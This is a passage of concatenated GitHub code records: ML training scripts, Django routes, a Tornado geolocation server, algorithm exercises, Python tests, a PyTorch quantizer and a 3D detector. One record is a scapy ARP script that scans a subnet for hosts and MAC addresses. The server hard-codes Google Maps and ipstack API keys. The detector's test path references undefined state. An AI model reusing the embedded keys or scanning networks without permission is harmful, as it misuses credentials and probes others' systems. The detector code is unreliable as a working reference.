prepare_data(DATAPATH)\n model = NN(SEQUENCE_MAX_LEN, MAX_WORD_FEATURE, 100, 64)\n model.create()\n train_history = model.train(X_TRAIN, Y_TRAIN, 128, epochs=10)\n model.validate(X_TEST, Y_TEST)\n model.plot_metrics(train_history)\n model.save_model(TOKENIZER)\n model.classify_tweets('data/Covid-19-Tweets.csv')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"stephen-jr/bidirectionalAttentionMechanism","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39804685015","text":"from django.conf.urls import url\nfrom .views import *\n\nurlpatterns = [\n url('get-posts/$', PostsView.as_view(), name=\"get_posts\"),\n url('system-updates/(?P\\d+\\.\\d+)/(?P\\d+\\.\\d+)/(?P\\d+\\.\\d+)/$',\n PostsHaveUpdatesView.as_view(), name=\"posts_have_updates\"),\n url('get-rev-setting/$', GetRevSettingView.as_view(), name=\"get_rev_setting\"),\n url('get-channel-posts/$', ChannelPostsView.as_view(), name=\"get_channel_posts\"),\n url('like-unlike/$', LikeUnlikePost.as_view(), name=\"like_unlike\"),\n url('share-post/(?P.+)/$', SharePost.as_view(), name=\"share_post\"),\n url('media-post/(?P.+)/$', MediaPost.as_view(), name=\"show_post_media\"),\n]","repo_name":"xiondun/laowai_panda","sub_path":"revyoume_club/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"6116927495","text":"import scapy.all as sc\r\nip=input(\"IP(only Subnet):\\t\")\r\nansl=[]\r\nfor j in range(1,11):\r\n i=sc.ARP(pdst=ip+\".\"+str(j))\r\n emptmac=sc.Ether(dst=\"ff:ff:ff:ff:ff:ff\")\r\n ansl.append(sc.srp(emptmac/i,timeout=1,verbose=False)[0])\r\ndef fx():\r\n print(\"[+]----------------------------------------------------\")\r\n print (\"\\tIP Address\\t\\tM0AC Address\")\r\n for j in ansl:\r\n for i in j:\r\n print (\"\\t\"+i[1].psrc+\"\\t\\t\"+i[1].hwsrc)\r\n\r\ndef fx2(ip):\r\n for j in ansl:\r\n for i in j:\r\n if(i[1].psrc==ip):\r\n return (i[1].hwsrc)\r\n\r\n\r\n","repo_name":"Vector26/Network-Analysers","sub_path":"HAckingScripts/MACFInder.py","file_name":"MACFInder.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"69969074152","text":"import tornado.ioloop\nimport tornado.web\nimport tornado.websocket\nfrom tornado import httpclient\nimport os\nimport json\nimport re\nfrom functools import partial\n\n\nROOT = os.path.abspath(os.path.dirname(__file__))\nTEMPLATE_DIR = os.path.join(ROOT, 'templates')\nSTATIC_DIR = os.path.join(ROOT, 'static')\nGOOGLE_MAPS_KEY = 'AIzaSyB98jqPlqa41_FhMKQJfTU_ZA1aC04pjcs'\nAPISTACK_KEY = 'abfc98d93414c81cc09e7195a04cbd64'\nAPISTACK_URL_PATTERN = \"http://api.ipstack.com/%(host)s&access_key=%(access_key)s\"\n\n\nclass APIHandler(tornado.websocket.WebSocketHandler):\n @classmethod\n def is_hostname(cls, s):\n \"\"\"\n Should return True if the value is a string ending\n in a period, followed by a number of letters.\n \"\"\"\n regex = re.compile(\n r'(?:[A-Z](?:[A-Z]{0,61}[A-Z])?\\.)+(?:[A-Z]{2,6}\\.?|[A-Z0-9-]{2,}\\.?)', re.IGNORECASE)\n\n return len(re.findall(regex, s)) > 0\n\n async def process_message(self, message):\n msg = json.loads(message)\n if msg['msg'] == 'getPosition':\n self.get_position(msg['payload'])\n elif msg['msg'] == 'getPositions':\n self.get_positions(msg['payload'])\n elif msg['msg'] == 'getPositionsSeq':\n self.get_positions_seq(msg['payload'])\n elif msg['msg'] == 'getPositionsAsync':\n await self.get_positions_async(msg['payload'])\n\n def open(self):\n print(\"Client connected\")\n\n async def on_message(self, message):\n await self.process_message(message)\n\n def on_close(self):\n print(\"WebSocket closed\")\n\n @staticmethod\n def get_api_request_url(host):\n return APISTACK_URL_PATTERN % {'host': host, 'access_key': APISTACK_KEY}\n\n def get_position(self, host_or_ip):\n client = httpclient.HTTPClient()\n api_request_url = self.get_api_request_url(host_or_ip)\n res = client.fetch(api_request_url)\n self.write_message({\n 'msg': 'position',\n 'payload': res.body.decode('utf-8'),\n 'title': host_or_ip,\n })\n\n def get_positions_seq(self, hosts_or_ips):\n for host in hosts_or_ips:\n self.get_position(host)\n\n def handle_response(self, host_or_ip, res ):\n self.write_message({\n 'msg': 'position',\n 'payload': res.body.decode('utf-8'),\n 'title': host_or_ip\n })\n\n async def get_positions_async(self, hosts_or_ips):\n for host in hosts_or_ips:\n await self.get_position_async(host)\n\n async def get_position_async(self, host_or_ip):\n client = httpclient.AsyncHTTPClient()\n api_request_url = self.get_api_request_url(host_or_ip)\n await client.fetch(api_request_url, partial(self.handle_response, host_or_ip))\n\n def get_positions(self, host_or_ip):\n client = httpclient.HTTPClient()\n api_request_url = self.get_api_request_url(host_or_ip)\n res = client.fetch(api_request_url)\n self.write_message({\n 'msg': 'position',\n 'payload': res.body.decode('utf-8'),\n 'title': host_or_ip\n })\n\n\nclass MainHandler(tornado.web.RequestHandler):\n def get(self):\n self.render(\"main.html\", google_maps_key=GOOGLE_MAPS_KEY)\n\n\ndef make_app():\n settings = {\n 'debug': True,\n 'template_path': TEMPLATE_DIR\n }\n return tornado.web.Application(\n [\n (r\"/\", MainHandler),\n (r\"/wsapi/\", APIHandler),\n (r\"/static/(.*)\", tornado.web.StaticFileHandler, {'path': STATIC_DIR})\n ], **settings\n )\n\n\nif __name__ == \"__main__\":\n app = make_app()\n app.listen(8888)\n tornado.ioloop.IOLoop.current().start()\n","repo_name":"izadpan2/virgo","sub_path":"mapthingy/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"23422146635","text":"import numpy as np\nimport math\nimport matplotlib.pyplot as plt\n\n# Finds the Lagrange basis function lk(t)\n# ArgValues ​​- array of n argument values ​​[t0, ... tn]\ndef getl(t, k, ArgValues):\n n = len(ArgValues)\n lk = 1\n for j in range(n):\n Denom = ArgValues[k] - ArgValues[j]\n lk *= ((t - ArgValues[j]) / Denom) if k != j else 1\n return lk\n\n# Returns the value of the Lagrange polynomial at point t\ndef getLagrangePolinom(t, ArgValues, FunctionValues):\n n = len(ArgValues)\n Value = 0\n for k in range(n):\n Value += (getl(t, k, ArgValues) * FunctionValues[k])\n return Value\n\n# Returns an array of Newton polynomial values ​​for each Args value\n# ArgValues ​​- array of n values ​​of argument t -- [t0, ... tn]\n# FunctionValues ​​- an array of n function values ​​at points [t0, ... tn]\ndef getLagrangeValues(Args, ArgValues, FunctionValues):\n Values = []\n for Arg in Args:\n Values.append(getLagrangePolinom(Arg, ArgValues, FunctionValues))\n return Values\n\nLagrangeArgValues = np.arange(-0.8, 1.2, 0.2)\nLagrangeFunctionValues = [0.02, 0.079, 0.175, 0.303, 0.459, 0.638, 0.831, 1.03, 1.23, 1.42]\n\ndef main():\n plt.figure(figsize = (5, 5))\n plt.title(\"Lagrange interpolation polynomial\")\n\n Args = np.arange(-0.8, 1.01, 0.01)\n LagrangeVals = getLagrangeValues(Args, LagrangeArgValues, LagrangeFunctionValues)\n plt.plot(Args, LagrangeVals, 'b')\n\n plt.scatter(LagrangeArgValues, LagrangeFunctionValues, marker = \"^\")\n \n plt.grid()\n plt.show()\n \nif __name__ == '__main__':\n main()\n\n","repo_name":"kefirRzevo/ComputationalMath","sub_path":"Task5/task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":1600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"35159192298","text":"class Solution:\n phone = {2: ['a', 'b', 'c'], 3: ['d', 'e', 'f'], 4: ['g', 'h', 'i'], 5: ['j', 'k', 'l'], 6: [\n 'm', 'n', 'o'], 7: ['p', 'q', 'r', 's'], 8: ['t', 'u', 'v'], 9: ['w', 'x', 'y', 'z']}\n\n def backtrack(self, dim: int):\n if dim == len(self.digits):\n self.results.append(''.join(self.result))\n return\n\n for char in self.phone[int(self.digits[dim])]:\n self.result[dim] = char\n self.backtrack(dim+1)\n\n def letterCombinations(self, digits: str) -> list[str]:\n self.results = []\n if digits:\n self.digits = digits\n self.result = [None] * len(digits)\n self.backtrack(0)\n return self.results\n\n\nif __name__ == '__main__':\n digits = \"22\"\n print(f\"{digits}\")\n print('----------Answer Below----------')\n print(Solution().letterCombinations(digits))\n","repo_name":"showboy0704/leetcode","sub_path":"Algorithm/Backtracking/17_letter_combi.py","file_name":"17_letter_combi.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"5296119548","text":"# -*- coding: utf-8 -*-\ntry:\n import importlib\n reload = importlib.reload\nexcept (ImportError, AttributeError):\n pass\nimport click\nimport functools\nimport PyInquirer\nimport os\nimport pytest\nimport subprocess\nimport tempfile\nimport time\nimport zazu.util\ntry:\n import __builtin__ as builtins # NOQA\nexcept ImportError:\n import builtins # NOQA\n\n__author__ = \"Nicholas Wiles\"\n__copyright__ = \"Copyright 2016\"\n\n\ndef touch_file(path):\n with open(path, 'w'):\n pass\n\n\ndef test_scan_tree():\n dir = tempfile.mkdtemp()\n exclude_dir = os.path.join(dir, 'exclude')\n os.mkdir(exclude_dir)\n exclude_file = os.path.join(exclude_dir, 'excluded_file.yes')\n include_file = os.path.join(dir, 'file.yes')\n extra_file = os.path.join(dir, 'file.no')\n touch_file(exclude_file)\n touch_file(extra_file)\n results = zazu.util.scantree(dir, ['*.yes'], ['exclude'], exclude_hidden=True)\n assert not results\n touch_file(include_file)\n results = zazu.util.scantree(dir, ['*.yes'], ['exclude'], exclude_hidden=True)\n assert len(results) == 1\n assert os.path.relpath(include_file, dir) in results\n\n\ndef test_check_output(mocker):\n mocker.patch('subprocess.check_output', side_effect=OSError(''))\n with pytest.raises(click.ClickException):\n zazu.util.check_output(['foo'])\n subprocess.check_output.assert_called_once_with(['foo'])\n\n\ndef test_call(mocker):\n mocker.patch('subprocess.call', side_effect=OSError(''))\n with pytest.raises(click.ClickException):\n zazu.util.call(['foo'])\n subprocess.call.assert_called_once_with(['foo'])\n\n\ndef test_check_popen_not_found(mocker):\n mocker.patch('subprocess.Popen', side_effect=OSError(''))\n with pytest.raises(click.ClickException):\n zazu.util.check_popen(['foo'])\n subprocess.call.assert_called_once_with(['foo'])\n\n\ndef test_check_popen(mocker):\n mocked_process = mocker.Mock()\n mocked_process.communicate = mocker.Mock(return_value=('out', 'err'))\n mocker.patch('subprocess.Popen', return_value=mocked_process)\n mocked_process.returncode = 0\n assert 'out' == zazu.util.check_popen(stdin_str='input', args=['foo'])\n subprocess.Popen.assert_called_once_with(args=['foo'], stderr=subprocess.PIPE,\n stdin=subprocess.PIPE, stdout=subprocess.PIPE)\n mocked_process.communicate.assert_called_once_with('input')\n with pytest.raises(subprocess.CalledProcessError) as e:\n mocked_process.returncode = 1\n zazu.util.check_popen(stdin_str='input', args=['foo'])\n assert e.value.returncode == 1\n assert e.value.cmd == ['foo']\n assert e.value.output == 'err'\n\n\ndef call(*args, **kwargs):\n try:\n return subprocess.call(*args, **kwargs)\n except OSError:\n raise_uninstalled(args[0][0])\n\n\ndef test_pprint_list():\n list = ['a', 'b', 'c']\n formatted = zazu.util.pprint_list(list)\n expected = '\\n - a\\n - b\\n - c'\n assert expected == formatted\n\n\ndef test_raise_uninstalled():\n with pytest.raises(click.ClickException):\n zazu.util.raise_uninstalled('foo')\n\n\ndef test_prompt_default(monkeypatch):\n monkeypatch.setattr('builtins.input', lambda x: '')\n expected = 'bar'\n assert zazu.util.prompt('foo', expected) == expected\n\n\ndef test_prompt_overide_default(monkeypatch):\n expected2 = 'baz'\n monkeypatch.setattr('builtins.input', lambda x: expected2)\n assert zazu.util.prompt('foo', 'bar') == expected2\n\n\ndef test_prompt(monkeypatch):\n expected2 = 'baz'\n monkeypatch.setattr('builtins.input', lambda x: expected2)\n assert zazu.util.prompt('foo') == expected2\n with pytest.raises(ValueError):\n zazu.util.prompt('foo', expected_type=int)\n\n\ndef test_pick_empty():\n assert zazu.util.pick([], 'foo') is None\n\n\ndef test_pick_single():\n choices = ['one']\n assert zazu.util.pick(choices, 'foo') == choices[0]\n\n\ndef test_pick(monkeypatch):\n choices = ['one', 'two']\n monkeypatch.setattr(PyInquirer, 'prompt', lambda x: {' ': choices[0]})\n assert zazu.util.pick(choices, 'foo') == choices[0]\n\n\ndef test_pick_interupted(monkeypatch):\n choices = ['one', 'two']\n monkeypatch.setattr(PyInquirer, 'prompt', lambda x: {})\n with pytest.raises(KeyboardInterrupt):\n zazu.util.pick(choices, 'foo')\n\n\nUNFLATTENED_DICT = {'a': {'b': {'c': 5}, 'd': 6}}\nFLATTENED_DICT = {'a.b.c': 5, 'a.d': 6}\n\n\ndef test_flatten_dict():\n assert FLATTENED_DICT == zazu.util.flatten_dict(UNFLATTENED_DICT)\n\n\ndef test_unflatten_dict():\n assert UNFLATTENED_DICT == zazu.util.unflatten_dict(FLATTENED_DICT)\n\n\ndef test_dict_get_nested():\n d = {'a': {'b': 's', 'c': {'d': 'e'}}}\n assert zazu.util.dict_get_nested(d, ['a', 'b'], None) == 's'\n assert zazu.util.dict_get_nested(d, ['a', 'c'], None) == {'d': 'e'}\n assert zazu.util.dict_get_nested(d, ['a', 'c', 'e'], None) is None\n\n\ndef test_dict_del_nested():\n d = {'a': {'b': 's', 'c': {'d': 'e'}}}\n zazu.util.dict_del_nested(d, ['a', 'b'])\n assert d == {'a': {'c': {'d': 'e'}}}\n zazu.util.dict_del_nested(d, ['a'])\n assert d == {}\n\n\ndef test_dict_update_nested():\n d = {'a': {'b': 's', 'c': {'d': 'e'}}}\n zazu.util.dict_update_nested(d, {'a': {'b': {'c': 'd'}}})\n assert d == {'a': {'b': {'c': 'd'}, 'c': {'d': 'e'}}}\n\n\ndef test_readline_fallback(mocker):\n old_import = builtins.__import__\n\n def new_import(*args, **kwargs):\n if args[0] == 'readline':\n raise ImportError\n elif args[0] == 'pyreadline':\n pass\n else:\n return old_import(*args, **kwargs)\n\n # Dance around python 2.7 vs 3:\n try:\n mocker.patch('builtins.__import__', side_effect=new_import)\n except AttributeError:\n mocker.patch('__builtin__.__import__', side_effect=new_import)\n\n reload(zazu.util)\n imports = [arg[0][0] for arg in builtins.__import__.call_args_list]\n assert 'readline' in imports\n assert 'pyreadline' in imports\n\n\ndef test_cd(tmp_dir):\n old_dir = os.getcwd()\n with zazu.util.cd(tmp_dir):\n assert os.path.realpath(os.getcwd()) == os.path.realpath(tmp_dir)\n assert os.getcwd() == old_dir\n\n\ndef wait(t):\n time.sleep(t)\n return t\n\n\ndef test_dispatch():\n times = [0.1, 0.2, 0.3]\n work = [functools.partial(wait, t) for t in times]\n start_time = time.time()\n assert sorted(zazu.util.dispatch(work)) == sorted(times)\n time_taken = time.time() - start_time\n assert time_taken < sum(times)\n\n\ndef test_async_do():\n start_time = time.time()\n result = zazu.util.async_do(wait, 0.2)\n time_taken = time.time() - start_time\n assert time_taken < 0.1\n assert result.result() == 0.2\n time_taken = time.time() - start_time\n assert time_taken >= 0.2\n","repo_name":"stopthatcow/zazu","sub_path":"tests/test_util.py","file_name":"test_util.py","file_ext":"py","file_size_in_byte":6728,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"14826665989","text":"from __future__ import annotations\n\nfrom typing import Dict, List\n\nimport torch\n\nfrom torch.fx import Node\n\nfrom .quantizer import QuantizationAnnotation, Quantizer\n\n__all__ = [\n \"ComposableQuantizer\",\n]\n\n\nclass ComposableQuantizer(Quantizer):\n \"\"\"\n ComposableQuantizer allows users to combine more than one quantizer into a single quantizer.\n This allows users to quantize a model with multiple quantizers. E.g., embedding quantization\n maybe supported by one quantizer while linear layers and other ops might be supported by another\n quantizer.\n\n ComposableQuantizer is initialized with a list of `Quantizer` instances.\n The order of the composition matters since that is the order in which the quantizers will be\n applies.\n Example:\n ```\n embedding_quantizer = EmbeddingQuantizer()\n linear_quantizer = MyLinearQuantizer()\n xnnpack_quantizer = XNNPackQuantizer() # to handle ops not quantized by previous two quantizers\n composed_quantizer = ComposableQuantizer([embedding_quantizer, linear_quantizer, xnnpack_quantizer])\n prepared_m = prepare_pt2e(model, composed_quantizer)\n ```\n \"\"\"\n\n def __init__(self, quantizers: List[Quantizer]):\n super().__init__()\n self.quantizers = quantizers\n self._graph_annotations: Dict[Node, QuantizationAnnotation] = {}\n\n def _record_and_validate_annotations(\n self, gm: torch.fx.GraphModule, quantizer: Quantizer\n ) -> None:\n for n in gm.graph.nodes:\n if \"quantization_annotation\" in n.meta:\n # check if the annotation has been changed by\n # comparing QuantizationAnnotation object id\n if n in self._graph_annotations and (\n id(self._graph_annotations[n])\n != id(n.meta[\"quantization_annotation\"])\n ):\n raise RuntimeError(\n f\"Quantizer {quantizer.__class__.__name__} has changed annotations on node {n}\"\n )\n else:\n self._graph_annotations[n] = n.meta[\"quantization_annotation\"]\n else:\n if n in self._graph_annotations:\n raise RuntimeError(\n f\"Quantizer {quantizer.__class__.__name__} has removed annotations on node {n}\"\n )\n\n def annotate(self, model: torch.fx.GraphModule) -> torch.fx.GraphModule:\n \"\"\"just handling global spec for now\"\"\"\n for quantizer in self.quantizers:\n quantizer.annotate(model)\n self._record_and_validate_annotations(model, quantizer)\n return model\n\n def validate(self, model: torch.fx.GraphModule) -> None:\n pass\n","repo_name":"pytorch/pytorch","sub_path":"torch/ao/quantization/quantizer/composable_quantizer.py","file_name":"composable_quantizer.py","file_ext":"py","file_size_in_byte":2719,"program_lang":"python","lang":"en","doc_type":"code","stars":72779,"dataset":"github-code","pt":"72"} +{"seq_id":"23734022637","text":"import mmcv\nimport copy\nimport torch\nfrom mmcv.parallel import DataContainer as DC\nfrom mmcv.runner import force_fp32\nfrom os import path as osp\nfrom torch import nn as nn\nfrom torch.nn import functional as F\n\nfrom mmdet3d.core import (Box3DMode, Coord3DMode, bbox3d2result,\n merge_aug_bboxes_3d, show_result)\nfrom mmdet3d.ops import Voxelization\nfrom mmdet.core import multi_apply\nfrom mmdet.models import DETECTORS\nfrom mmdet3d.models import builder\nfrom mmdet3d.models.detectors.mvx_two_stage import MVXTwoStageDetector\nimport pdb\n\n\n@DETECTORS.register_module()\nclass DeepInteraction(MVXTwoStageDetector):\n \"\"\"Base class of Multi-modality VoxelNet.\"\"\"\n\n def __init__(self,\n freeze_img=False,\n freeze_pts=False,\n pts_pillar_layer=None,\n pts_voxel_layer=None,\n pts_voxel_encoder=None,\n pts_pillar_encoder=None,\n pts_middle_encoder=None,\n pts_fusion_layer=None,\n img_backbone=None,\n pts_backbone=None,\n img_neck=None,\n pts_neck=None,\n imgpts_neck=None,\n pts_bbox_head=None,\n img_roi_head=None,\n img_rpn_head=None,\n train_cfg=None,\n test_cfg=None,\n pretrained=None,\n init_cfg=None):\n super(DeepInteraction, self).__init__(pts_voxel_layer, pts_voxel_encoder,\n pts_middle_encoder, pts_fusion_layer,\n img_backbone, pts_backbone, img_neck, pts_neck,\n pts_bbox_head, img_roi_head, img_rpn_head,\n train_cfg, test_cfg, pretrained, init_cfg)\n \n self.pts_pillar_layer = Voxelization(**pts_pillar_layer)\n self.imgpts_neck = builder.build_neck(imgpts_neck)\n if pts_pillar_encoder is not None:\n self.pts_pillar_encoder = builder.build_voxel_encoder(pts_pillar_encoder)\n \n self.freeze_img = freeze_img\n self.freeze_pts = freeze_pts\n \n def init_weights(self):\n \"\"\"Initialize model weights.\"\"\"\n super(DeepInteraction, self).init_weights()\n if self.freeze_img:\n if self.with_img_backbone:\n for param in self.img_backbone.parameters():\n param.requires_grad = False\n if self.with_img_neck:\n for param in self.img_neck.parameters():\n param.requires_grad = False\n \n if self.freeze_pts:\n for name, param in self.named_parameters():\n if 'pts' in name and 'pts_bbox_head' not in name and 'imgpts_neck' not in name:\n param.requires_grad = False\n if 'pts_bbox_head.decoder.0' in name:\n param.requires_grad = False\n if 'imgpts_neck.shared_conv_pts' in name:\n param.requires_grad = False\n if 'pts_bbox_head.heatmap_head' in name and 'pts_bbox_head.heatmap_head_img' not in name:\n param.requires_grad = False\n if 'pts_bbox_head.prediction_heads.0' in name:\n param.requires_grad = False\n if 'pts_bbox_head.class_encoding' in name:\n param.requires_grad = False\n def fix_bn(m):\n if isinstance(m, nn.BatchNorm1d) or isinstance(m, nn.BatchNorm2d):\n m.track_running_stats = False\n self.pts_voxel_layer.apply(fix_bn)\n self.pts_voxel_encoder.apply(fix_bn)\n self.pts_middle_encoder.apply(fix_bn)\n self.pts_backbone.apply(fix_bn)\n self.pts_neck.apply(fix_bn)\n # self.pts_bbox_head.heatmap_head.apply(fix_bn)\n # self.pts_bbox_head.class_encoding.apply(fix_bn)\n # self.pts_bbox_head.decoder[0].apply(fix_bn)\n # self.pts_bbox_head.prediction_heads[0].apply(fix_bn)\n self.imgpts_neck.shared_conv_pts.apply(fix_bn)\n\n\n def extract_img_feat(self, img, img_metas):\n \"\"\"Extract features of images.\"\"\"\n if self.with_img_backbone and img is not None:\n input_shape = img.shape[-2:]\n # update real input shape of each single img\n for img_meta in img_metas:\n img_meta.update(input_shape=input_shape)\n\n if img.dim() == 5 and img.size(0) == 1:\n img.squeeze_(0)\n elif img.dim() == 5 and img.size(0) > 1:\n B, N, C, H, W = img.size()\n img = img.view(B * N, C, H, W)\n img_feats = self.img_backbone(img.float())\n else:\n return None\n if self.with_img_neck:\n img_feats = self.img_neck(img_feats)\n return img_feats\n\n def extract_pts_feat(self, pts, img_feats, img_metas):\n \"\"\"Extract features of points.\"\"\"\n if not self.with_pts_bbox:\n return None\n voxels, num_points, coors = self.voxelize(pts,voxel_type='voxel')\n voxel_features = self.pts_voxel_encoder(voxels, num_points, coors)\n batch_size = coors[-1, 0] + 1\n x = self.pts_middle_encoder(voxel_features, coors, batch_size)\n x = self.pts_backbone(x)\n if self.with_pts_neck:\n x = self.pts_neck(x)\n \n pillars, pillars_num_points, pillar_coors = self.voxelize(pts, voxel_type='pillar')\n if hasattr(self, 'pts_pillar_encoder'):\n pillar_features = self.pts_pillar_encoder(pillars, pillars_num_points, pillar_coors)\n else:\n pillar_features = self.pts_voxel_encoder(pillars, pillars_num_points, pillar_coors)\n pts_metas = {}\n pts_metas['pillar_center'] = pillar_features\n pts_metas['pillars'] = pillars\n pts_metas['pillars_num_points'] = pillars_num_points\n pts_metas['pillar_coors'] = pillar_coors\n pts_metas['pts'] = pts\n return x, pts_metas\n \n def extract_feat(self, points, img, img_metas):\n img_feats = self.extract_img_feat(img, img_metas)\n pts_feats, pts_metas = self.extract_pts_feat(points, img_feats, img_metas)\n new_img_feat, new_pts_feat = self.imgpts_neck(img_feats[0], pts_feats[0], img_metas, pts_metas)\n return (new_img_feat, new_pts_feat)\n\n @torch.no_grad()\n @force_fp32()\n def voxelize(self, points, voxel_type='voxel'):\n assert voxel_type=='voxel' or voxel_type=='pillar'\n voxels, coors, num_points = [], [], []\n for res in points:\n if voxel_type == 'voxel':\n res_voxels, res_coors, res_num_points = self.pts_voxel_layer(res)\n elif voxel_type == 'pillar':\n res_voxels, res_coors, res_num_points = self.pts_pillar_layer(res)\n voxels.append(res_voxels)\n coors.append(res_coors)\n num_points.append(res_num_points)\n voxels = torch.cat(voxels, dim=0)\n num_points = torch.cat(num_points, dim=0)\n coors_batch = []\n for i, coor in enumerate(coors):\n coor_pad = F.pad(coor, (1, 0), mode='constant', value=i)\n coors_batch.append(coor_pad)\n coors_batch = torch.cat(coors_batch, dim=0)\n return voxels, num_points, coors_batch\n\n def forward_train(self,\n points=None,\n img_metas=None,\n gt_bboxes_3d=None,\n gt_labels_3d=None,\n gt_labels=None,\n gt_bboxes=None,\n img=None,\n proposals=None,\n gt_bboxes_ignore=None):\n \"\"\"Forward training function.\n\n Args:\n points (list[torch.Tensor], optional): Points of each sample.\n Defaults to None.\n img_metas (list[dict], optional): Meta information of each sample.\n Defaults to None.\n gt_bboxes_3d (list[:obj:`BaseInstance3DBoxes`], optional):\n Ground truth 3D boxes. Defaults to None.\n gt_labels_3d (list[torch.Tensor], optional): Ground truth labels\n of 3D boxes. Defaults to None.\n gt_labels (list[torch.Tensor], optional): Ground truth labels\n of 2D boxes in images. Defaults to None.\n gt_bboxes (list[torch.Tensor], optional): Ground truth 2D boxes in\n images. Defaults to None.\n img (torch.Tensor optional): Images of each sample with shape\n (N, C, H, W). Defaults to None.\n proposals ([list[torch.Tensor], optional): Predicted proposals\n used for training Fast RCNN. Defaults to None.\n gt_bboxes_ignore (list[torch.Tensor], optional): Ground truth\n 2D boxes in images to be ignored. Defaults to None.\n\n Returns:\n dict: Losses of different branches.\n \"\"\"\n img_feats, pts_feats = self.extract_feat(\n points, img=img, img_metas=img_metas)\n losses = dict()\n losses_pts = self.forward_pts_train(pts_feats[1], gt_bboxes_3d,\n gt_labels_3d, img_metas,\n gt_bboxes_ignore)\n losses.update(losses_pts)\n return losses\n\n def forward_test(self, img_metas, img=None, **kwargs):\n for var, name in [(img_metas, 'img_metas')]:\n if not isinstance(var, list):\n raise TypeError('{} must be a list, but got {}'.format(\n name, type(var)))\n img = [img] if img is None else img\n\n if img_metas[0][0]['scene_token'] != self.prev_frame_info['scene_token']:\n # the first sample of each scene is truncated\n self.prev_frame_info['prev_bev'] = None\n # update idx\n self.prev_frame_info['scene_token'] = img_metas[0][0]['scene_token']\n\n # do not use temporal information\n if not self.video_test_mode:\n self.prev_frame_info['prev_bev'] = None\n\n # Get the delta of ego position and angle between two timestamps.\n tmp_pos = copy.deepcopy(img_metas[0][0]['can_bus'][:3])\n tmp_angle = copy.deepcopy(img_metas[0][0]['can_bus'][-1])\n if self.prev_frame_info['prev_bev'] is not None:\n img_metas[0][0]['can_bus'][:3] -= self.prev_frame_info['prev_pos']\n img_metas[0][0]['can_bus'][-1] -= self.prev_frame_info['prev_angle']\n else:\n img_metas[0][0]['can_bus'][-1] = 0\n img_metas[0][0]['can_bus'][:3] = 0\n\n new_prev_bev, bbox_results = self.simple_test(\n img_metas[0], img[0], prev_bev=self.prev_frame_info['prev_bev'], **kwargs)\n # During inference, we save the BEV features and ego motion of each timestamp.\n self.prev_frame_info['prev_pos'] = tmp_pos\n self.prev_frame_info['prev_angle'] = tmp_angle\n self.prev_frame_info['prev_bev'] = new_prev_bev\n return bbox_results\n\n def forward_pts_train(self,\n pts_feats,\n gt_bboxes_3d,\n gt_labels_3d,\n img_metas,\n gt_bboxes_ignore=None,\n prev_bev=None):\n \"\"\"Forward function'\n Args:\n pts_feats (list[torch.Tensor]): Features of point cloud branch\n gt_bboxes_3d (list[:obj:`BaseInstance3DBoxes`]): Ground truth\n boxes for each sample.\n gt_labels_3d (list[torch.Tensor]): Ground truth labels for\n boxes of each sampole\n img_metas (list[dict]): Meta information of samples.\n gt_bboxes_ignore (list[torch.Tensor], optional): Ground truth\n boxes to be ignored. Defaults to None.\n prev_bev (torch.Tensor, optional): BEV features of previous frame.\n Returns:\n dict: Losses of each branch.\n \"\"\"\n\n outs = self.pts_bbox_head(\n pts_feats, img_metas, prev_bev)\n loss_inputs = [gt_bboxes_3d, gt_labels_3d, outs]\n losses = self.pts_bbox_head.loss(*loss_inputs, img_metas=img_metas)\n return losses\n\n def pred2result(self, bboxes, scores, labels, pts, attrs=None):\n \"\"\"Convert detection results to a list of numpy arrays.\n\n Args:\n bboxes (torch.Tensor): Bounding boxes with shape of (n, 5).\n labels (torch.Tensor): Labels with shape of (n, ).\n scores (torch.Tensor): Scores with shape of (n, ).\n attrs (torch.Tensor, optional): Attributes with shape of (n, ). \\\n Defaults to None.\n\n Returns:\n dict[str, torch.Tensor]: Bounding box results in cpu mode.\n\n - boxes_3d (torch.Tensor): 3D boxes.\n - scores (torch.Tensor): Prediction scores.\n - labels_3d (torch.Tensor): Box labels.\n - attrs_3d (torch.Tensor, optional): Box attributes.\n \"\"\"\n result_dict = dict(\n boxes_3d=bboxes.to('cpu'),\n scores_3d=scores.cpu(),\n labels_3d=labels.cpu(),\n pts_3d=pts.to('cpu'))\n\n if attrs is not None:\n result_dict['attrs_3d'] = attrs.cpu()\n\n return result_dict\n\n def simple_test_pts(self, x, img_metas, prev_bev=None, rescale=False):\n \"\"\"Test function\"\"\"\n outs = self.pts_bbox_head(x, img_metas, prev_bev=prev_bev)\n\n bbox_list = self.pts_bbox_head.get_bboxes(\n outs, img_metas, rescale=rescale)\n\n bbox_results = [\n self.pred2result(bboxes, scores, labels, pts)\n for bboxes, scores, labels, pts in bbox_list\n ]\n # import pdb;pdb.set_trace()\n return outs['bev_embed'], bbox_results\n\n def simple_test(self, img_metas, img=None, prev_bev=None, rescale=False, **kwargs):\n \"\"\"Test function without augmentaiton.\"\"\"\n img_feats = self.extract_feat(img=img, img_metas=img_metas)\n\n bbox_list = [dict() for i in range(len(img_metas))]\n new_prev_bev, bbox_pts = self.simple_test_pts(\n img_feats, img_metas, prev_bev, rescale=rescale)\n for result_dict, pts_bbox in zip(bbox_list, bbox_pts):\n result_dict['pts_bbox'] = pts_bbox\n return new_prev_bev, bbox_list\n","repo_name":"Dapannnnn/trannport","sub_path":"deepinteraction_1.py","file_name":"deepinteraction_1.py","file_ext":"py","file_size_in_byte":14343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"23569792572","text":"from 